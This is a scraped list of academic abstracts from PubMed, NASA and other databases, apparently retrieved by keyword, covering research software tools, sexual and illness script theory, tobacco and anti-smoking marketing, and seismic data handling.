  7. SurveyWiz and factorWiz: JavaScript Web pages that make HTML forms for research on the Internet.

    PubMed

    Birnbaum, M H

    2000-05-01

    SurveyWiz and factorWiz are Web pages that act as wizards to create HTML forms that enable one to collect data via the Web. SurveyWiz allows the user to enter survey questions or personality test items with a mixture of text boxes and scales of radio buttons. One can add demographic questions of age, sex, education, and nationality with the push of a button. FactorWiz creates the HTML for within-subjects, two-factor designs as large as 9 x 9, or higher order factorial designs up to 81 cells. The user enters levels of the row and column factors, which can be text, images, or other multimedia. FactorWiz generates the stimulus combinations, randomizes their order, and creates the page. In both programs HTML is displayed in a window, and the user copies it to a text editor to save it. When uploaded to a Web server and supported by a CGI script, the created Web pages allow data to be collected, coded, and saved on the server. These programs are intended to assist researchers and students in quickly creating studies that can be administered via the Web.

  8. Automated design of paralogue ratio test assays for the accurate and rapid typing of copy number variation

    PubMed Central

    Veal, Colin D.; Xu, Hang; Reekie, Katherine; Free, Robert; Hardwick, Robert J.; McVey, David; Brookes, Anthony J.; Hollox, Edward J.; Talbot, Christopher J.

    2013-01-01

    Motivation: Genomic copy number variation (CNV) can influence susceptibility to common diseases. High-throughput measurement of gene copy number on large numbers of samples is a challenging, yet critical, stage in confirming observations from sequencing or array Comparative Genome Hybridization (CGH). The paralogue ratio test (PRT) is a simple, cost-effective method of accurately determining copy number by quantifying the amplification ratio between a target and reference amplicon. PRT has been successfully applied to several studies analyzing common CNV. However, its use has not been widespread because of difficulties in assay design. Results: We present PRTPrimer (www.prtprimer.org) software for automated PRT assay design. In addition to stand-alone software, the web site includes a database of pre-designed assays for the human genome at an average spacing of 6 kb and a web interface for custom assay design. Other reference genomes can also be analyzed through local installation of the software. The usefulness of PRTPrimer was tested within known CNV, and showed reproducible quantification. This software and database provide assays that can rapidly genotype CNV, cost-effectively, on a large number of samples and will enable the widespread adoption of PRT. Availability: PRTPrimer is available in two forms: a Perl script (version 5.14 and higher) that can be run from the command line on Linux systems and as a service on the PRTPrimer web site (www.prtprimer.org). Contact: cjt14@le.ac.uk Supplementary Information: Supplementary data are available at Bioinformatics online. PMID:23742985

  9. Marketing and population problems.

    PubMed

    Farley, J U; Leavitt, H J

    1971-07-01

    There are many elements in population programs that are more familiar to marketing men than to some population experts. Advertising is essential to reach the target population, and advertising evaluation techniques (e.g., surrogate indexes or audience measures) might be useful for evaluating both population information activities and the import of the entire program. Fundamental research on basid demand for fertility control is needed and a marketer's experience with planning and evaluating test markets can be useful in assessing potential selling targets and evaluating alternative promotional and distributional strategies. Special family planning clinics have certain disadvantages: expensive and scarce personnel are needed; red tape may be present; the network is based on the assumption that the client is willing to travel relatively great distances repeatedly; and clinics lack anonymity which may scare potential acceptors away. Most developing cultures have an intensively functioning distribution structure which delivers basic commodities to the most remote areas, providing relatively anonymous outlets that are physically close to the customs. Materials requiring a prescription might be distributed in exchange for script issued at and ultimately redeemed by clinics, this requiring only an occasional visit to a clinic. Mail-order service can be used to supplement a clinic's distribution of some contraceptives. It should be remembered that population administrators often have an antipathetic view toward business and marketing and "suspect" the profit motive.

  10. BaHaMAS A Bash Handler to Monitor and Administrate Simulations

    NASA Astrophysics Data System (ADS)

    Sciarra, Alessandro

    2018-03-01

    Numerical QCD is often extremely resource demanding and it is not rare to run hundreds of simulations at the same time. Each of these can last for days or even months and it typically requires a job-script file as well as an input file with the physical parameters for the application to be run. Moreover, some monitoring operations (i.e. copying, moving, deleting or modifying files, resume crashed jobs, etc.) are often required to guarantee that the final statistics is correctly accumulated. Proceeding manually in handling simulations is probably the most error-prone way and it is deadly uncomfortable and inefficient! BaHaMAS was developed and successfully used in the last years as a tool to automatically monitor and administrate simulations.

  11. Planning an effective anti-smoking mass media campaign targeting adolescents.

    PubMed

    Pechmann, C; Reibling, E T

    2000-05-01

    This article addresses the following issues: Can an anti-smoking campaign that depends largely on mass media vehicles effectively reduce adolescent tobacco use? Why is an integrated campaign recommended and what are the steps in designing such a campaign? How should the campaign be evaluated? Specific topics include recommended campaign expenditures, target audience identification, selection of persuasive message content, executional (stylistic) considerations, media buying decisions, the use of focus group research and advertising copy-testing research, and outcome evaluations. It is concluded that comprehensive strategic planning and extensive research at all phases of the campaign are essential to success.

  12. NASA One-Dimensional Combustor Simulation--User Manual for S1D_ML

    NASA Technical Reports Server (NTRS)

    Stueber, Thomas J.; Paxson, Daniel E.

    2014-01-01

    The work presented in this paper is to promote research leading to a closed-loop control system to actively suppress thermo-acoustic instabilities. To serve as a model for such a closed-loop control system, a one-dimensional combustor simulation composed using MATLAB software tools has been written. This MATLAB based process is similar to a precursor one-dimensional combustor simulation that was formatted as FORTRAN 77 source code. The previous simulation process requires modification to the FORTRAN 77 source code, compiling, and linking when creating a new combustor simulation executable file. The MATLAB based simulation does not require making changes to the source code, recompiling, or linking. Furthermore, the MATLAB based simulation can be run from script files within the MATLAB environment or with a compiled copy of the executable file running in the Command Prompt window without requiring a licensed copy of MATLAB. This report presents a general simulation overview. Details regarding how to setup and initiate a simulation are also presented. Finally, the post-processing section describes the two types of files created while running the simulation and it also includes simulation results for a default simulation included with the source code.

  13. Sexual scripts and sexual risk behaviors among Black heterosexual men: development of the Sexual Scripts Scale.

    PubMed

    Bowleg, Lisa; Burkholder, Gary J; Noar, Seth M; Teti, Michelle; Malebranche, David J; Tschann, Jeanne M

    2015-04-01

    Sexual scripts are widely shared gender and culture-specific guides for sexual behavior with important implications for HIV prevention. Although several qualitative studies document how sexual scripts may influence sexual risk behaviors, quantitative investigations of sexual scripts in the context of sexual risk are rare. This mixed methods study involved the qualitative development and quantitative testing of the Sexual Scripts Scale (SSS). Study 1 included qualitative semi-structured interviews with 30 Black heterosexual men about sexual experiences with main and casual sex partners to develop the SSS. Study 2 included a quantitative test of the SSS with 526 predominantly low-income Black heterosexual men. A factor analysis of the SSS resulted in a 34-item, seven-factor solution that explained 68% of the variance. The subscales and coefficient alphas were: Romantic Intimacy Scripts (α = .86), Condom Scripts (α = .82), Alcohol Scripts (α = .83), Sexual Initiation Scripts (α = .79), Media Sexual Socialization Scripts (α = .84), Marijuana Scripts (α = .85), and Sexual Experimentation Scripts (α = .84). Among men who reported a main partner (n = 401), higher Alcohol Scripts, Media Sexual Socialization Scripts, and Marijuana Scripts scores, and lower Condom Scripts scores were related to more sexual risk behavior. Among men who reported at least one casual partner (n = 238), higher Romantic Intimacy Scripts, Sexual Initiation Scripts, and Media Sexual Socialization Scripts, and lower Condom Scripts scores were related to higher sexual risk. The SSS may have considerable utility for future research on Black heterosexual men's HIV risk.

  14. Sexual Scripts and Sexual Risk Behaviors among Black Heterosexual Men: Development of the Sexual Scripts Scale

    PubMed Central

    Bowleg, Lisa; Burkholder, Gary J.; Noar, Seth M.; Teti, Michelle; Malebranche, David J.; Tschann, Jeanne M.

    2014-01-01

    Sexual scripts are widely shared gender and culture-specific guides for sexual behavior with important implications for HIV prevention. Although several qualitative studies document how sexual scripts may influence sexual risk behaviors, quantitative investigations of sexual scripts in the context of sexual risk are rare. This mixed methods study involved the qualitative development and quantitative testing of the Sexual Scripts Scale (SSS). Study 1 included qualitative semi-structured interviews with 30 Black heterosexual men about sexual experiences with main and casual sex partners to develop the SSS. Study 2 included a quantitative test of the SSS with 526 predominantly low-income Black heterosexual men. A factor analysis of the SSS resulted in a 34-item, seven-factor solution that explained 68% of the variance. The subscales and coefficient alphas were: Romantic Intimacy Scripts (α = .86), Condom Scripts (α = .82), Alcohol Scripts (α = .83), Sexual Initiation Scripts (α = .79), Media Sexual Socialization Scripts (α = .84), Marijuana Scripts (α = .85), and Sexual Experimentation Scripts (α = .84). Among men who reported a main partner (n = 401), higher Alcohol Scripts, Media Sexual Socialization Scripts, and Marijuana Scripts scores, and lower Condom Scripts scores were related to more sexual risk behavior. Among men who reported at least one casual partner (n = 238), higher Romantic Intimacy Scripts, Sexual Initiation Scripts, and Media Sexual Socialization Scripts, and lower Condom Scripts scores were related to higher sexual risk. The SSS may have considerable utility for future research on Black heterosexual men’s HIV risk. PMID:24311105

  15. See Also:Mechanics of Cohesive-frictional MaterialsCopyright © 2004 John Wiley & Sons, Ltd.Get Sample Copy

  16. Recommend to Your Librarian
  17. E-MailPrint
  1. Computer Programs to Display and Modify Data in Geographic Coordinates and Methods to Transfer Positions to and from Maps, with Applications to Gravity Data Processing, Global Positioning Systems, and 30-Meter Digital Elevation Models

    USGS Publications Warehouse

    Plouff, Donald

    1998-01-01

    Computer programs were written in the Fortran language to process and display gravity data with locations expressed in geographic coordinates. The programs and associated processes have been tested for gravity data in an area of about 125,000 square kilometers in northwest Nevada, southeast Oregon, and northeast California. This report discusses the geographic aspects of data processing. Utilization of the programs begins with application of a template (printed in PostScript format) to transfer locations obtained with Global Positioning Systems to and from field maps and includes a 5-digit geographic-based map naming convention for field maps. Computer programs, with source codes that can be copied, are used to display data values (printed in PostScript format) and data coverage, insert data into files, extract data from files, shift locations, test for redundancy, and organize data by map quadrangles. It is suggested that 30-meter Digital Elevation Models needed for gravity terrain corrections and other applications should be accessed in a file search by using the USGS 7.5-minute map name as a file name, for example, file '40117_B8.DEM' contains elevation data for the map with a southeast corner at lat 40? 07' 30' N. and lon 117? 52' 30' W.

  2. CAPRRESI: Chimera Assembly by Plasmid Recovery and Restriction Enzyme Site Insertion.

    PubMed

    Santillán, Orlando; Ramírez-Romero, Miguel A; Dávila, Guillermo

    2017-06-25

    Here, we present chimera assembly by plasmid recovery and restriction enzyme site insertion (CAPRRESI). CAPRRESI benefits from many strengths of the original plasmid recovery method and introduces restriction enzyme digestion to ease DNA ligation reactions (required for chimera assembly). For this protocol, users clone wildtype genes into the same plasmid (pUC18 or pUC19). After the in silico selection of amino acid sequence regions where chimeras should be assembled, users obtain all the synonym DNA sequences that encode them. Ad hoc Perl scripts enable users to determine all synonym DNA sequences. After this step, another Perl script searches for restriction enzyme sites on all synonym DNA sequences. This in silico analysis is also performed using the ampicillin resistance gene (ampR) found on pUC18/19 plasmids. Users design oligonucleotides inside synonym regions to disrupt wildtype and ampR genes by PCR. After obtaining and purifying complementary DNA fragments, restriction enzyme digestion is accomplished. Chimera assembly is achieved by ligating appropriate complementary DNA fragments. pUC18/19 vectors are selected for CAPRRESI because they offer technical advantages, such as small size (2,686 base pairs), high copy number, advantageous sequencing reaction features, and commercial availability. The usage of restriction enzymes for chimera assembly eliminates the need for DNA polymerases yielding blunt-ended products. CAPRRESI is a fast and low-cost method for fusing protein-coding genes.

  3. AI and workflow automation: The prototype electronic purchase request system

    NASA Technical Reports Server (NTRS)

    Compton, Michael M.; Wolfe, Shawn R.

    1994-01-01

    Automating 'paper' workflow processes with electronic forms and email can dramatically improve the efficiency of those processes. However, applications that involve complex forms that are used for a variety of purposes or that require numerous and varied approvals often require additional software tools to ensure that (1) the electronic form is correctly and completely filled out, and (2) the form is routed to the proper individuals and organizations for approval. The prototype electronic purchase request (PEPR) system, which has been in pilot use at NASA Ames Research Center since December 1993, seamlessly links a commercial electronics forms package and a CLIPS-based knowledge system that first ensures that electronic forms are correct and complete, and then generates an 'electronic routing slip' that is used to route the form to the people who must sign it. The PEPR validation module is context-sensitive, and can apply different validation rules at each step in the approval process. The PEPR system is form-independent, and has been applied to several different types of forms. The system employs a version of CLIPS that has been extended to support AppleScript, a recently-released scripting language for the Macintosh. This 'scriptability' provides both a transparent, flexible interface between the two programs and a means by which a single copy of the knowledge base can be utilized by numerous remote users.

  4. US tobacco export to Third World: Third World War.

    PubMed

    Mackay, J

    1992-01-01

    Global tobacco-related mortality will rise from the current 2.5 million to over 10 million annually by 2050. Most of this increase will occur in developing countries, where legislative controls and other measures that succeed in limiting the use of tobacco in industrialized countries do not exist or are at best inadequate. Of particular concern is the penetration of developing countries by the transnational tobacco companies, with aggressive promotional campaigns that include specific targeting of women, few of whom currently smoke in developing countries. The transnational tobacco companies advertise and market in ways long banned in the United States, for example, selling cigarettes without health warnings, advertising on television, and selling cigarettes with higher tar content than the same cigarettes sold in the United States. Also, tobacco advertising revenue prevents the media from reporting on the hazards of tobacco, a particularly serious problem in developing countries, where awareness of the harmfulness of tobacco is low. The transnational tobacco companies interfere with the national public health laws of developing countries via political and commercial pressures to open markets and to promote foreign cigarettes. This has led to an increase in market share by foreign cigarettes, but evidence also points to market expansion, especially among young people. The entry of the transnationals leads to a collapse of national tobacco monopolies or to their changing from unsophisticated government departments that may still cooperate with health initiatives on tobacco to copying the aggressive marketing and promotional behavior of the transnationals.(ABSTRACT TRUNCATED AT 250 WORDS)

  5. Visualization and Interaction in Research, Teaching, and Scientific Communication

    NASA Astrophysics Data System (ADS)

    Ammon, C. J.

    2017-12-01

    Modern computing provides many tools for exploring observations, numerical calculations, and theoretical relationships. The number of options is, in fact, almost overwhelming. But the choices provide those with modest programming skills opportunities to create unique views of scientific information and to develop deeper insights into their data, their computations, and the underlying theoretical data-model relationships. I present simple examples of using animation and human-computer interaction to explore scientific data and scientific-analysis approaches. I illustrate how valuable a little programming ability can free scientists from the constraints of existing tools and can facilitate the development of deeper appreciation data and models. I present examples from a suite of programming languages ranging from C to JavaScript including the Wolfram Language. JavaScript is valuable for sharing tools and insight (hopefully) with others because it is integrated into one of the most powerful communication tools in human history, the web browser. Although too much of that power is often spent on distracting advertisements, the underlying computation and graphics engines are efficient, flexible, and almost universally available in desktop and mobile computing platforms. Many are working to fulfill the browser's potential to become the most effective tool for interactive study. Open-source frameworks for visualizing everything from algorithms to data are available, but advance rapidly. One strategy for dealing with swiftly changing tools is to adopt common, open data formats that are easily adapted (often by framework or tool developers). I illustrate the use of animation and interaction in research and teaching with examples from earthquake seismology.

  6. Strategies for Sharing Seismic Data Among Multiple Computer Platforms

    NASA Astrophysics Data System (ADS)

    Baker, L. M.; Fletcher, J. B.

    2001-12-01

    Seismic waveform data is readily available from a variety of sources, but it often comes in a distinct, instrument-specific data format. For example, data may be from portable seismographs, such as those made by Refraction Technology or Kinemetrics, from permanent seismograph arrays, such as the USGS Parkfield Dense Array, from public data centers, such as the IRIS Data Center, or from personal communication with other researchers through e-mail or ftp. A computer must be selected to import the data - usually whichever is the most suitable for reading the originating format. However, the computer best suited for a specific analysis may not be the same. When copies of the data are then made for analysis, a proliferation of copies of the same data results, in possibly incompatible, computer-specific formats. In addition, if an error is detected and corrected in one copy, or some other change is made, all the other copies must be updated to preserve their validity. Keeping track of what data is available, where it is located, and which copy is authoritative requires an effort that is easy to neglect. We solve this problem by importing waveform data to a shared network file server that is accessible to all our computers on our campus LAN. We use a Network Appliance file server running Sun's Network File System (NFS) software. Using an NFS client software package on each analysis computer, waveform data can then be read by our MatLab or Fortran applications without first copying the data. Since there is a single copy of the waveform data in a single location, the NFS file system hierarchy provides an implicit complete waveform data catalog and the single copy is inherently authoritative. Another part of our solution is to convert the original data into a blocked-binary format (known historically as USGS DR100 or VFBB format) that is interpreted by MatLab or Fortran library routines available on each computer so that the idiosyncrasies of each machine are not visible to the user. Commercial software packages, such as MatLab, also have the ability to share data in their own formats across multiple computer platforms. Our Fortran applications can create plot files in Adobe PostScript, Illustrator, and Portable Document Format (PDF) formats. Vendor support for reading these files is readily available on multiple computer platforms. We will illustrate by example our strategies for sharing seismic data among our multiple computer platforms, and we will discuss our positive and negative experiences. We will include our solutions for handling the different byte ordering, floating-point formats, and text file ``end-of-line'' conventions on the various computer platforms we use (6 different operating systems on 5 processor architectures).

  7. Simplifying and enhancing the use of PyMOL with horizontal scripts

    PubMed Central

    2016-01-01

    Abstract Scripts are used in PyMOL to exert precise control over the appearance of the output and to ease remaking similar images at a later time. We developed horizontal scripts to ease script development. A horizontal script makes a complete scene in PyMOL like a traditional vertical script. The commands in a horizontal script are separated by semicolons. These scripts are edited interactively on the command line with no need for an external text editor. This simpler workflow accelerates script development. In using PyMOL, the illustration of a molecular scene requires an 18‐element matrix of view port settings. The default format spans several lines and is laborious to manually reformat for one line. This default format prevents the fast assembly of horizontal scripts that can reproduce a molecular scene. We solved this problem by writing a function that displays the settings on one line in a compact format suitable for horizontal scripts. We also demonstrate the mapping of aliases to horizontal scripts. Many aliases can be defined in a single script file, which can be useful for applying costume molecular representations to any structure. We also redefined horizontal scripts as Python functions to enable the use of the help function to print documentation about an alias to the command history window. We discuss how these methods of using horizontal scripts both simplify and enhance the use of PyMOL in research and education. PMID:27488983

  8. Crossing boundaries in interprofessional education: A call for instructional integration of two script concepts.

    PubMed

    Kiesewetter, Jan; Kollar, Ingo; Fernandez, Nicolas; Lubarsky, Stuart; Kiessling, Claudia; Fischer, Martin R; Charlin, Bernard

    2016-09-01

    Clinical work occurs in a context which is heavily influenced by social interactions. The absence of theoretical frameworks underpinning the design of collaborative learning has become a roadblock for interprofessional education (IPE). This article proposes a script-based framework for the design of IPE. This framework provides suggestions for designing learning environments intended to foster competences we feel are fundamental to successful interprofessional care. The current literature describes two script concepts: "illness scripts" and "internal/external collaboration scripts". Illness scripts are specific knowledge structures that link general disease categories and specific examples of diseases. "Internal collaboration scripts" refer to an individual's knowledge about how to interact with others in a social situation. "External collaboration scripts" are instructional scaffolds designed to help groups collaborate. Instructional research relating to illness scripts and internal collaboration scripts supports (a) putting learners in authentic situations in which they need to engage in clinical reasoning, and (b) scaffolding their interaction with others with "external collaboration scripts". Thus, well-established experiential instructional approaches should be combined with more fine-grained script-based scaffolding approaches. The resulting script-based framework offers instructional designers insights into how students can be supported to develop the necessary skills to master complex interprofessional clinical situations.

  9. Sexual scripts among young heterosexually active men and women: continuity and change.

    PubMed

    Masters, N Tatiana; Casey, Erin; Wells, Elizabeth A; Morrison, Diane M

    2013-01-01

    Whereas gendered sexual scripts are hegemonic at the cultural level, research suggests they may be less so at dyadic and individual levels. Understanding "disjunctures" between sexual scripts at different levels holds promise for illuminating mechanisms through which sexual scripts can change. Through interviews with 44 heterosexually active men and women aged 18 to 25, the ways young people grappled with culture-level scripts for sexuality and relationships were delineated. Findings suggest that, although most participants' culture-level gender scripts for behavior in sexual relationships were congruent with descriptions of traditional masculine and feminine sexuality, there was heterogeneity in how or whether these scripts were incorporated into individual relationships. Specifically, three styles of working with sexual scripts were found: conforming, in which personal gender scripts for sexual behavior overlapped with traditional scripts; exception-finding, in which interviewees accepted culture-level gender scripts as a reality, but created exceptions to gender rules for themselves; and transforming, in which participants either attempted to remake culture-level gender scripts or interpreted their own nontraditional styles as equally normative. Changing sexual scripts can potentially contribute to decreased gender inequity in the sexual realm and to increased opportunities for sexual satisfaction, safety, and well-being, particularly for women, but for men as well.

  10. Development of a Web-Based Distributed Interactive Simulation (DIS) Environment Using JavaScript

    DTIC Science & Technology

    2014-09-01

    scripting that let users change or interact with web content depending on user input, which is in contrast with server-side scripts such as PHP, Java and...transfer, DIS usually broadcasts or multicasts its PDUs based on UDP socket. 3. JavaScript JavaScript is the scripting language of the web, and all...IDE) for developing desktop, mobile and web applications with JAVA , C++, HTML5, JavaScript and more. b. Framework The DIS implementation of

  11. Sparks Will Fly: engineering creative script conflicts

    NASA Astrophysics Data System (ADS)

    Veale, Tony; Valitutti, Alessandro

    2017-10-01

    Scripts are often dismissed as the stuff of good movies and bad politics. They codify cultural experience so rigidly that they remove our freedom of choice and become the very antithesis of creativity. Yet, mental scripts have an important role to play in our understanding of creative behaviour, since a deliberate departure from an established script can produce results that are simultaneously novel and familiar, especially when others stick to the conventional script. Indeed, creative opportunities often arise at the overlapping boundaries of two scripts that antagonistically compete to mentally organise the same situation. This work explores the computational integration of competing scripts to generate creative friction in short texts that are surprising but meaningful. Our exploration considers conventional macro-scripts - ordered sequences of actions - and the less obvious micro-scripts that operate at even the lowest levels of language. For the former, we generate plots that squeeze two scripts into a single mini-narrative; for the latter, we generate ironic descriptions that use conflicting scripts to highlight the speaker's pragmatic insincerity. We show experimentally that verbal irony requires both kinds of scripts - macro and micro - to work together to reliably generate creative sparks from a speaker's subversive intent.

  12. Using script theory to cultivate illness script formation and clinical reasoning in health professions education.

    PubMed

    Lubarsky, Stuart; Dory, Valérie; Audétat, Marie-Claude; Custers, Eugène; Charlin, Bernard

    2015-01-01

    Script theory proposes an explanation for how information is stored in and retrieved from the human mind to influence individuals' interpretation of events in the world. Applied to medicine, script theory focuses on knowledge organization as the foundation of clinical reasoning during patient encounters. According to script theory, medical knowledge is bundled into networks called 'illness scripts' that allow physicians to integrate new incoming information with existing knowledge, recognize patterns and irregularities in symptom complexes, identify similarities and differences between disease states, and make predictions about how diseases are likely to unfold. These knowledge networks become updated and refined through experience and learning. The implications of script theory on medical education are profound. Since clinician-teachers cannot simply transfer their customized collections of illness scripts into the minds of learners, they must create opportunities to help learners develop and fine-tune their own sets of scripts. In this essay, we provide a basic sketch of script theory, outline the role that illness scripts play in guiding reasoning during clinical encounters, and propose strategies for aligning teaching practices in the classroom and the clinical setting with the basic principles of script theory.

  13. Environmental Studies on Open Burn/Open Detonation Disposal Sites. Transport and Fate of Nitroaromatic and Nitramine Explosives in Soils from Open Burning/Open Detonation Operations: Milan Army Ammunition Plant (MAAP)

    DTIC Science & Technology

    1993-12-01

    purposes of advertisement . This report has been approved for release to the public. Registered users should request additional copies from the Defense...DNT had a lower criterion of detection value than 2,6-DNT (ə.8 vs . ɛ.5 mg L-1 ); however, the 2,6-DNT values are also distributed about. this same...a.-. -4 .. ’ ’A- gm I- - rn I-. .s LA r-. LCu 4=, * *.,I, * * .,!, * ’ -4 n r-. 4=. c- vs LmJ Appendix B A ew% I.MA, m °= r-r Apdo o a

  14. Comparison of BrainTool to other UML modeling and model transformation tools

    NASA Astrophysics Data System (ADS)

    Nikiforova, Oksana; Gusarovs, Konstantins

    2017-07-01

    In the last 30 years there were numerous model generated software systems offered targeting problems with the development productivity and the resulting software quality. CASE tools developed due today's date are being advertised as having "complete code-generation capabilities". Nowadays the Object Management Group (OMG) is calling similar arguments in regards to the Unified Modeling Language (UML) models at different levels of abstraction. It is being said that software development automation using CASE tools enables significant level of automation. Actual today's CASE tools are usually offering a combination of several features starting with a model editor and a model repository for a traditional ones and ending with code generator (that could be using a scripting or domain-specific (DSL) language), transformation tool to produce the new artifacts from the manually created and transformation definition editor to define new transformations for the most advanced ones. Present paper contains the results of CASE tool (mainly UML editors) comparison against the level of the automation they are offering.

  15. Men's constructions of masculinity and male sexuality through talk of buying sex.

    PubMed

    Huysamen, Monique; Boonzaier, Floretta

    2015-01-01

    Commercial sex is an everyday occurrence across a range of contexts in South Africa. In this paper we turn our attention to the often-marginalised role of the buyers of sex by drawing on narrative interviews with male clients of female sex workers recruited through online advertisements in order to explore the ways in which heterosexual men construct, negotiate and perform their masculinity and sexuality through talking about their experiences of paying for sex. We highlight parallels between men's narratives of paying for sex and dominant discourses of gender and heterosexuality. We show how men draw on heteronormative sexual scripts in constructing and making sense of paid sexual encounters and how men are simultaneously able to construct and enact a particular idealised version of masculinity and male sexuality through their talk on paying for sex. Finally, we discuss how online resources could be used more extensively in future research with the male clients of sex workers.

  16. The role of scripts in personal consistency and individual differences.

    PubMed

    Demorest, Amy; Popovska, Ana; Dabova, Milena

    2012-02-01

    This article examines the role of scripts in personal consistency and individual differences. Scripts are personally distinctive rules for understanding emotionally significant experiences. In 2 studies, scripts were identified from autobiographical memories of college students (Ns = 47 and 50) using standard categories of events and emotions to derive event-emotion compounds (e.g., Affiliation-Joy). In Study 1, scripts predicted responses to a reaction-time task 1 month later, such that participants responded more quickly to the event from their script when asked to indicate what emotion would be evoked by a series of events. In Study 2, individual differences in 5 common scripts were found to be systematically related to individual differences in traits of the Five-Factor Model. Distinct patterns of correlation revealed the importance of studying events and emotions in compound units, that is, in script form (e.g., Agreeableness was correlated with the script Affiliation-Joy but not with the scripts Fun-Joy or Affiliation-Love). © 2012 The Authors. Journal of Personality © 2012, Wiley Periodicals, Inc.

  17. [Effects of planning and executive functions on young children's script change strategy: A developmental perspective].

    PubMed

    Yanaoka, Kaichi

    2016-02-01

    This research examined the effects of planning and executive functions on young children's (ages 3-to 5-years) strategies in changing scripts. Young children (N = 77) performed a script task (doll task), three executive function tasks (DCCS, red/blue task, and nine box task), a planning task, and a receptive vocabulary task. In the doll task, young children first enacted a "changing clothes" script, and then faced a situation in which some elements of the script were inappropriate. They needed to enact a script by compensating inappropriate items for the other-script items or by changing to the other script in advance. The results showed that shifting, a factor of executive function, had a positive influence on whether young children could compensate inappropriate items. In addition, planning was also an important factor that helped children to change to the other script in advance. These findings suggest that shifting and planning play different roles in using the two strategies appropriately when young children enact scripts in unexpected situations.

  18. Types and Characteristics of Fish and Seafood Provisioning Scripts Used by Rural Midlife Adults.

    PubMed

    Bostic, Stephanie M; Sobal, Jeffery; Bisogni, Carole A; Monclova, Juliet M

    To examine rural New York State consumers' cognitive scripts for fish and seafood provisioning. A cross-sectional design with in-depth, semistructured interviews. Three rural New York State counties. Adults (n = 31) with diverse fish-related experiences were purposefully recruited. Scripts describing fish and seafood acquisition, preparation, and eating out. Interview transcripts were coded for emergent themes using Atlas.ti. Diagrams of scripts for each participant were constructed. Five types of acquisition scripts included quality-oriented, price-oriented, routine, special occasion, and fresh catch. Frequently used preparation scripts included everyday cooking, fast meal, entertaining, and grilling. Scripts for eating out included fish as first choice, Friday outing, convenient meals, special event, and travel meals. Personal values and resources influenced script development. Individuals drew on a repertoire of scripts based on their goals and resources at that time and in that place. Script characteristics of scope, flexibility, and complexity varied widely. Scripts incorporated goals, values, and resources into routine food behaviors. Understanding the characteristics of scripts provided insights about fish provisioning and opportunities to reduce the gap between current intake and dietary guidelines in this rural setting. Copyright © 2017 Society for Nutrition Education and Behavior. Published by Elsevier Inc. All rights reserved.

  19. Helping me, helping you: self-referencing and gender roles in donor advertising.

    PubMed

    Hupfer, M E

    2006-06-01

    Donor advertising typically emphasizes altruism, but an appeal to individual self-interest may be more effective in heightening blood donation intentions among youthful nondonors. A total of 292 undergraduate business students at a Canadian university provided complete data in response to a between-subjects full-factorial advertising experiment with sex, self-referencing, and message strategy factors. Self-referencing, or mental processing that links information to the self-concept, was elicited at either a low or moderate level, whereas the message strategy was either agentic (donate blood because you may need it yourself) or communal (donate blood because someone close to you may need it). Dependent variables included identification with the ad, donation intentions, and a discrimination measure of recognition memory. A three-way interaction among sex, self-referencing level (low or moderate), and message (agentic or communal) was found. Two-way self-referencing by message graphs of donation intentions and ad identification showed a parallel structure for males in that their responses were generally more favorable when self-referencing was at a moderate level, regardless of the message type. Among women, however, crossover interactions between the level of self-referencing and the message type (agentic vs. communal) were observed, such that the message's effect differed with the level of self-referencing. For both men and women, the agentic message was more effective than communal ad copy when a moderate level of self-referencing was achieved. Collection agencies should consider appealing to young nondonors by suggesting that they give blood to make it available for themselves if required.

  20. The Mechanics of CSCL Macro Scripts

    ERIC Educational Resources Information Center

    Dillenbourg, Pierre; Hong, Fabrice

    2008-01-01

    Macro scripts structure collaborative learning and foster the emergence of knowledge-productive interactions such as argumentation, explanations and mutual regulation. We propose a pedagogical model for the designing of scripts and illustrate this model using three scripts. In brief, a script disturbs the natural convergence of a team and in doing…

  1. Script Reforms--Are They Necessary?

    ERIC Educational Resources Information Center

    James, Gregory

    Script reform, the modification of an existing writing system, is often confused with script replacement of one writing system with another. Turkish underwent the replacement of Arabic script by an adaptation of Roman script under Kamel Ataturk, but a similar replacement in Persian was rejected because of the high rate of existing literacy in…

  2. Gender differences in performance of script analysis by older adults.

    PubMed

    Helmes, E; Bush, J D; Pike, D L; Drake, D G

    2006-12-01

    Script analysis as a test of executive functions is presumed sensitive to cognitive changes seen with increasing age. Two studies evaluated if gender differences exist in performance on scripts for familiar and unfamiliar tasks in groups of cognitively intact older adults. In Study 1, 26 older adults completed male and female stereotypical scripts. Results were not significant but a tendency was present, with genders making fewer impossible errors on the gender-typical script. Such an interaction was also noted in Study 2, which contrasted 50 older with 50 younger adults on three scripts, including a script with neutral familiarity. The pattern of significant interactions for errors suggested the need to use scripts that are based upon tasks that are equally familiar to both genders.

  3. The Departmental Script as an Ongoing Conversation into the Phronesis of Teaching Science as Inquiry

    NASA Astrophysics Data System (ADS)

    Melville, Wayne; Campbell, Todd; Fazio, Xavier; Bartley, Anthony

    2012-12-01

    This article investigates the extent to which a science department script supports the teaching and learning of science as inquiry and how this script is translated into individual teachers' classrooms. This study was completed at one school in Canada which, since 2000, has developed a departmental script supportive of teaching and learning of science as inquiry. Through a mixed-method strategy, multiple data sources were drawn together to inform a cohesive narrative about scripts, science departments, and individual classrooms. Results of the study reveal three important findings: (1) the departmental script is not an artefact, but instead is an ongoing conversation into the episteme, techne and phronesis of science teaching; (2) the consistently reformed teaching practices that were observed lead us to believe that a departmental script has the capacity to enhance the teaching of science as inquiry; and, (3) the existence of a departmental script does not mean that teaching will be `standardized' in the bureaucratic sense of the word. Our findings indicate that a departmental script can be considered to concurrently operate as an epistemic script that is translated consistently across the classes, and a social script that was more open to interpretation within individual teachers' classrooms.

  4. Page segmentation using script identification vectors: A first look

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Hochberg, J.; Cannon, M.; Kelly, P.

    1997-07-01

    Document images in which different scripts, such as Chinese and Roman, appear on a single page pose a problem for optical character recognition (OCR) systems. This paper explores the use of script identification vectors in the analysis of multilingual document images. A script identification vector is calculated for each connected component in a document. The vector expresses the closest distance between the component and templates developed for each of thirteen scripts, including Arabic, Chinese, Cyrillic, and Roman. The authors calculate the first three principal components within the resulting thirteen-dimensional space for each image. By mapping these components to red, green,more » and blue, they can visualize the information contained in the script identification vectors. The visualization of several multilingual images suggests that the script identification vectors can be used to segment images into script-specific regions as large as several paragraphs or as small as a few characters. The visualized vectors also reveal distinctions within scripts, such as font in Roman documents, and kanji vs. kana in Japanese. Results are best for documents containing highly dissimilar scripts such as Roman and Japanese. Documents containing similar scripts, such as Roman and Cyrillic will require further investigation.« less

  5. Formatting scripts with computers and Extended BASIC.

    PubMed

    Menning, C B

    1984-02-01

